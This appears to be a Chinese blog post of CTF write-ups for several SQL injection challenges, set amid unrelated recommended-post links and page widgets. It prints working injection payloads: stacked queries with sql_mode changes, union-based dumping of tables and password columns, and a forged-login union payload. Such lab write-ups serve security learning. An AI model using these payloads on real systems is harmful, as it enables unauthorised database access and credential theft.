SQL题

【力扣 + 牛客 | SQL题 | 每日6题】牛客SQL热题 + 力扣hard 部门 '2' 的平均薪资是(6000 + 10000)/ 2 = 8000,该平均薪资是员工号 '2' 和 '3' 的薪资的平均值。部门 '1' 的平均薪资是 9000,因为该部门只有一个员工,其员工号为 '1'。根据同样的公式,对于二月份的平均薪资比较,结果为 'same',因为部门 '1' 和 '2' 都与公司的平均薪资相同,即为 7000。-- 然后以部门和月份分组,比较分组内的平均薪资与该月份公司的平均薪资的大小。第一行表示为d001部门的经理是编号为10002的员工。 阅读详情

[极客大挑战 2019]EasySQL

进行简单的尝试,就知道是单引号的字符型注入

5022dd8880b1418c958e1b64fe58c569.png

 万能密码进行一个简单的尝试

结果就出来了

0b905595e8334c1b9ad1940d209c5a35.png

还是要了解一下原理

输入的是1',形成的sql语句是错误的
SELECT*FROM table_name WHERE username='1''and password='123';
第一个单引号和第二个单引号形成了新的闭合,剩余第三个单引号,组成的sql语句不正确,于是语句报错,页面就会出现错误。

[SUCTF 2019]EasySQL

当我们输入非零数字的时候,页面上有回显,用0也是什么都没有,字母也是什么都没有

我们就直接尝试一下命令

1;show databases;

e88245dd4010401a81fd5aea58e9036e.png

1;show tables;  发现一个表为flag

5405c356126b4f149bfd17e06a60824e.png

 猜答案应该就会在flag表中,那么就可以查一下看看

1;show columns from Flag   (1;show columns from用来查询表中列名称)

8f4b4a1a0d4f44d0b30af5e589fe4c92.png

没有回显,应该是flag也是被过滤了,想了一下,其实在查询的数据库的时候就应该要发现是堆叠注入,自己对堆叠注入还是不了解,刚刚没有看出来。

修改sql_mode的值,将||视为字符串的连接操作符而或非运算符,即set sql_mode=PIPES_AS_CONCAT;

也就是堆叠注入下可以改变sql的||符号的作用,就让||实现连接的功能

让 || 变成类似 concat() 函数

看看后台的查询语句

$sql = "select ".$post['query']."||flag from Flag";

区别

在MySQL中,操作符||表示“或”逻辑     也就是只要有一个为真就可以为真了。

mssql中||表示连接操作符,不表示或的逻辑

union injection(联合注入)也是将两条语句合并在一起,两者之间有什么区别么?区别就在于 union或者 union all 执行的语句类型是有限的,可以用来执行查询语句,例如查库,表之类的,而堆叠注入可以执行的是任意的语句,将多条语句进行执行,;代表一条语句的结束。

payload

1;set sql_mode=pipes_as_concat;select 1

d872c1bb5b4946bcb22d9b21a58892e4.png

非预期

尝试之后就会发现没有过滤*

payload: *,1
查询flag
拼接之后的语句为
select *,1 || flag from flag

先查找全部,再去查找1

最后也是可以拿到结果的

[极客大挑战 2019]LoveSQL

尝试一下万能密码

7072d87d60f344d5b071def2ac1e2962.png

 看看回显位置

1' union select 1,2,3#

发现是在2和3 回显

字段

1'order by 4#

9ff68c1dedf541259ca86f84563b1a08.png

只有三个字段

数据库

1' union select 1,database(),version()#

46684751172a4762b1ccc4fb109e722f.png

表

1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()#

 59d00398e7ae4fffa7b9c4c641edf633.png

 发现有二张表

geekuser
l0ve1ysq1

先看第一个

1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='geekuser'#

f02fe9590d094b768fb01fe9b061b065.png

下一个也是一样的

也是先读取第一张表的内容

1' union select 1,2,group_concat(id,username,password) from geekuser#

 f05b6ae387784a3c8e7fd3d336e03c71.png

 下一张表的内容

1' union select 1,2,group_concat(id,username,password) from l0ve1ysq1#

 636a8aa86a484d099a8959c0bad4aee9.png

 发现这一张表的内容有许多,在后面就会发现答案。

[GXYCTF2019]BabySQli

f2fa0474bff1491c91bb7f6f5910a57e.png

 看看源代码

131562f14ca348fab6e7c1db555bc888.png

 base32后base64

base32 只有大写字母和数字数字组成,或者后面有三个等号。
base64 只有大写字母和数字,小写字母组成,后面一般是两个等号

235d85922bee412eafbf09e0a6178b9f.png

 到这里就暂时没有思路了

先看看列数

1' order by 1,2,3#

是不是被过滤了,大写看看

e61e44b74bd044728a20295c51d7a05d.png

 就知道有三列,并且还过滤了order

回显位置

1' union select 1,2,3#

aead85b818f1430db1d3c85889204711.png

 利用sqli的特性:在联合查询并不存在的数据时,联合查询就会构造一个虚拟的数据。

eg

select * from user where username = 'wxs' union select 1,'admin','123456';

 临时创建了一个admin用户,密码是123456

那就可以随便构建一个密码

123456

MD5  e10adc3949ba59abbe56e057f20f883e

payload

1' union select 1,'admin','e10adc3949ba59abbe56e057f20f883e'#&pw=123456

e9c1ee56920a4594aed79415f1b99c20.png

 3271018e25274145a37c517176adbba1.png

 数据库会将123456的MD5值与里面的相比较,如果匹配成功,就会返回flag

对SQL基础知识第2版、SQL高级知识第2版、SQL145题第2版-by李岳的书评 数学《SQL基础知识》的第一个特点是,系统性地带你走一遍,一条SQL(查询)语句所有涉及的关键字,一个一个的过,全面而细致。这样就不需要你在SQL学习的入门阶段,碰到一个不懂的,就到处去搜,不系统。因为假如这样做,你也不知道,你是否基本搞明白了——关于这个不懂的问题的所有该掌握的知识,以及,它和其他知识的关系是什么。另外要说,第一章中,一条SELECT查询语句的执行顺序。 阅读详情

相关推荐

用VASP计算GW+BSE

VASP在5.3以后的版本都能用解BSE方程的方法,在计算光吸收的过程中考虑激子效应。 下面就来写一个用BSE计算bulkSi的例子 首先,介电函数的计算是在GW计算的基础之上的。这里首先介绍G0W0的计算(我们这里直接在PBE的波函数基础上进行G0W0计算)。 1.PBE自恰计算,写WAVECAR System= Silicon groundstate occupied

ultra1989的专栏 2万+

几个SQL在线刷题的网站

学习Python无论是走后端开发还是准备进军数据分析,机器学习和数据挖掘,都离不开数据库的知识。而主流的数据库技术里面,SQL占据了半壁江山,可以说是非常重要,必知必会。今天给大家分享了...

cainiao_python的博客 9318

TDDFT计算软件Octopus学习笔记(二):基态计算(Si)

本文以硅为例,来进行基态计算。

陈啸的博客 7305

SQL学习指南及力扣SQL50题题解专栏介绍

本文介绍了力扣SQL刷题的学习路线和题解专栏。首先列出SQL学习的8大知识点,包括基础语法、字符串函数、日期函数、聚合与分组等,建议零基础者先补全相关知识再刷题。其次介绍了力扣高频SQL50题专栏,提供每道题的详细解析和分类导航,按难度分为入门、简单、中等三组,包含1757、584、197等典型题目链接,方便查阅练习。题解均经过验证通过,并重新标注了合理难度。

技术卷的博客 2104

WRF后处理避坑指南:从namelist配置到降水计算的全流程解析

本文提供了一份详尽的WRF模式后处理避坑指南,涵盖从理解wrfout文件结构、核心变量解析到累计降水计算与专业气象图绘制的全流程。重点解析了RAINC与RAINNC的正确处理方法,并分享了使用wrf-python库高效绘制位势高度叠加风场图、累计降水图等专业图表的实战技巧与代码,旨在帮助用户规避常见错误,提升后处理效率与图表质量。

weixin_29200485的博客 353

【SPSS实战】手动实现Quade非参数协方差分析:从数据准备到结果解读

本文详细介绍了在SPSS中手动实现Quade非参数协方差分析的实战方法。当数据不满足正态分布等参数检验假设时,通过将协变量和因变量转换为秩,并利用秩回归残差进行Kruskal-Wallis组间比较,提供了一种清晰、可操作的近似解决方案。该方法有效解决了非正态数据的协变量调整问题,适用于实验研究和调查数据分析。

bean的博客 467

sql刷题

题目提供了多个表的,一般要把多表连结,连结条件可能比较复杂,这就是难题所在。大多数题目会使用子查询目前知识已经涵盖了绝大多数题目考察范围,接下来可以看看红皮书和刷题。

major_in_data_的博客 1039

传感器融合的智能演进:ST-MC-Workbench中霍尔与编码器的协同控制策略

本文探讨了ST-MC-Workbench中霍尔传感器与编码器的协同控制策略,通过传感器融合技术提升电机控制精度。文章详细介绍了分层处理架构、霍尔安装角度优化及编码器Z脉冲容错机制,展示了在新能源汽车和工业应用中的实际效果,为高精度位置检测提供了解决方案。

weixin_29159441的博客 481

【SQL刷题】Day2----SQL语法基础查询

MySql的增删改查,刷题篇

你在看屏幕的同时,屏幕也在注视着你 3548

FPGA实现16x16点阵汉字滚动显示:Verilog代码与Quartus仿真详解

本文详细介绍了如何使用FPGA实现16x16点阵汉字滚动显示,包括Verilog代码设计、Quartus仿真及硬件连接技巧。通过字模数据存储和扫描控制逻辑,实现汉字的动态显示效果,并提供了优化建议和常见问题解决方案,适合FPGA开发者和硬件爱好者学习参考。

weixin_29172963的博客 348

FIddler+Proxifer 实现PC客户端抓包详细教程

FIddler+Proxifer 实现PC客户端抓包详细教程

森明帮大于黑虎帮的博客 1万+

SQL 刷题

count(*)表示分组后的计数,count(s.sale_date between "2019-01-01" and "2019-03-31" or null)表示限制时间范围后的计数,如果两者相等,说明该产品只在春季销售,不等则说明该产品在其它季节销售,不符合要求。with as:可以将查询结果存储在临时表中;with 临时表名(列名) as 查询语句。(含)之间出售的商品。

weixin_51794989的博客 348

分享Charles抓包 显示<unknown> 解决方案 !

首先电脑上需要安装charles,然后需要设置手机上的WiFi设置,修改配置中的代理设置,把服务器的主机名设置成你电脑当前的ip地址(需要注意的是,你的代理服务器主机名的ip地址要和你当前连的ip地址的网段需要一致)。像 Charles 这样的工具,虽然功能强大,但仍然需要用户具备一定的配置和排障能力,以应对各种复杂的网络环境。通过将 Charles 的 SSL 证书正确安装到移动设备中,并在设置中启用“允许不安全的内容”选项,最终成功解决了这一问题,并准确抓取到所有请求数据。Charles 显示。

朱雀随云记的博客 8104

SQL语句刷题经验总结

From..... → where条件语句 → group by 分组 → 聚合函数计算 → having条件语句 → order by 排序语句。知识点,考察sql关键词的顺序。order by 的位置位于所有语句的倒数第二,倒数第一是 limit。1、count(*),count(列名)都可以,区别在于,count(列名)是统计非NULL的行数。#where用于聚合计算前的字段筛选,having用于聚合计算后的字段筛选,补充说明:只是展示效果里的名字修改了,真正数据库中的表还是不会变的。

C_yc927的博客 947

Camera2Demo

在Camera2 的基础上进行封装,使得Camera2一堆初始化逻辑与Activity分离,降低耦合度,完成预览拍照并保存的操作

霍尼韦尔SoftMaster使用说明

霍尼韦尔SoftMaster使用说明

【SQL刷题】秋招刷爆SQL题之更新数据

秋招刷爆SQL题之更新数据

你在看屏幕的同时,屏幕也在注视着你 1543

ET2012新版免狗免安装绿色软件

ET2012新版免狗免安祖昂绿色软件。,新界面,新视觉,

牛客SQL刷题解析

因为if语句把正确的赋值1,不正确的赋值0,这样用AVG就能计算每个难度下准确度的平均值。因为只有两个值0和1,所以AVG算出来的值[0,1],这就是准确率;

PYTOvO的博客 302

VB摄像头监控

该VB模块可对摄像头捕获的画面进行录像等,可在创建的窗口进行控制

【力扣 + 牛客 | SQL题 | 每日5题】牛客SQL热题216,217,223

你正在搭建一个用户活跃度的画像,其中一个与活跃度相关的特征是“最长连续登录天数”, 请用SQL实现“2023年1月1日-2023年1月31日用户最长的连续登录天数”一句话:两个记录的日期的差值如果等于两记录的排名差值,说明中间一直是连续的。使用join查询方式找出没有分类的电影id以及其电影名称。这不一眼窗口函数么。

2301_80912559的博客 1300

【SQL刷题】Day10----SQL高级过滤函数专项练习

Day10----SQL高级过滤函数专项练习

你在看屏幕的同时,屏幕也在注视着你 3万+

【SQL】刷题熟练SQL

平时工作里sql都是很简单的,面试可不会简单,所以刷题吧 https://zhuanlan.zhihu.com/p/70896731

BIG BOSS的博客 228

【力扣 + 牛客 | SQL题 | 每日5题】牛客SQL热题255,253,256

Australia 11 月的平均 weather_state 为 (-2 + 0 + 3) / 3 = 0.333 所以天气类型为 Cold。Morocco 11 月的平均 weather_state 为 (25 + 27 + 31) / 3 = 27.667 所以天气类型为 Hot。对于employees表中,输出first_name排名(按first_name升序排序)为奇数的first_name。请你在不打乱原序列顺序的情况下,输出:按first_name排升序后,取奇数行的first_name。

2301_80912559的博客 810

【SQL刷题】Day8----SQL排序检索数据专项练习

Day8----SQL排序检索数据专项练习

你在看屏幕的同时,屏幕也在注视着你 2万+

leetcode之sql刷题笔记

引言 感觉自己的sql水平很菜,可能是很久没用忘了,也可能是我当初就没学好,所以现在准备补习一波sql查询,在上一篇中,我列举了mysql基本的查询操作。另外买了本《高性能mysql》影印版还没到,《sql必知必会》今天看电子版有点想睡觉。。嗯,感觉效率不高,那么就开始刷题吧。 1. 组合两个表 题目来源:https://leetcode-cn.com/problems/combine-two-...

submarineas的博客 1305

【SQL刷题】秋招刷爆SQL题之插入数据

秋招刷爆SQL题之插入数据

你在看屏幕的同时,屏幕也在注视着你 2226

SQL刷题宝典-MySQL速通力扣困难题

本人写SQL断断续续也有5年多了,对于刷题这种事情一直都是非常不屑的态度“写SQL这么简单的事情也需要刷?不是看一眼就会了吗?”直到我最近我真的刷了力扣的SQL题,才发现其实还是有太多不熟悉的技巧。最近花了近一个多月的时间,刷完了LeetCode上220道SQL数据库的题,感觉收获还是很多,下面在二刷后整理了本手册。

小小明-代码实体的专栏 1万+
上一篇: SQL-LABS
下一篇: SQL注入1
芝诺的乌龟M
博客等级 码龄4年 81粉丝 57原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值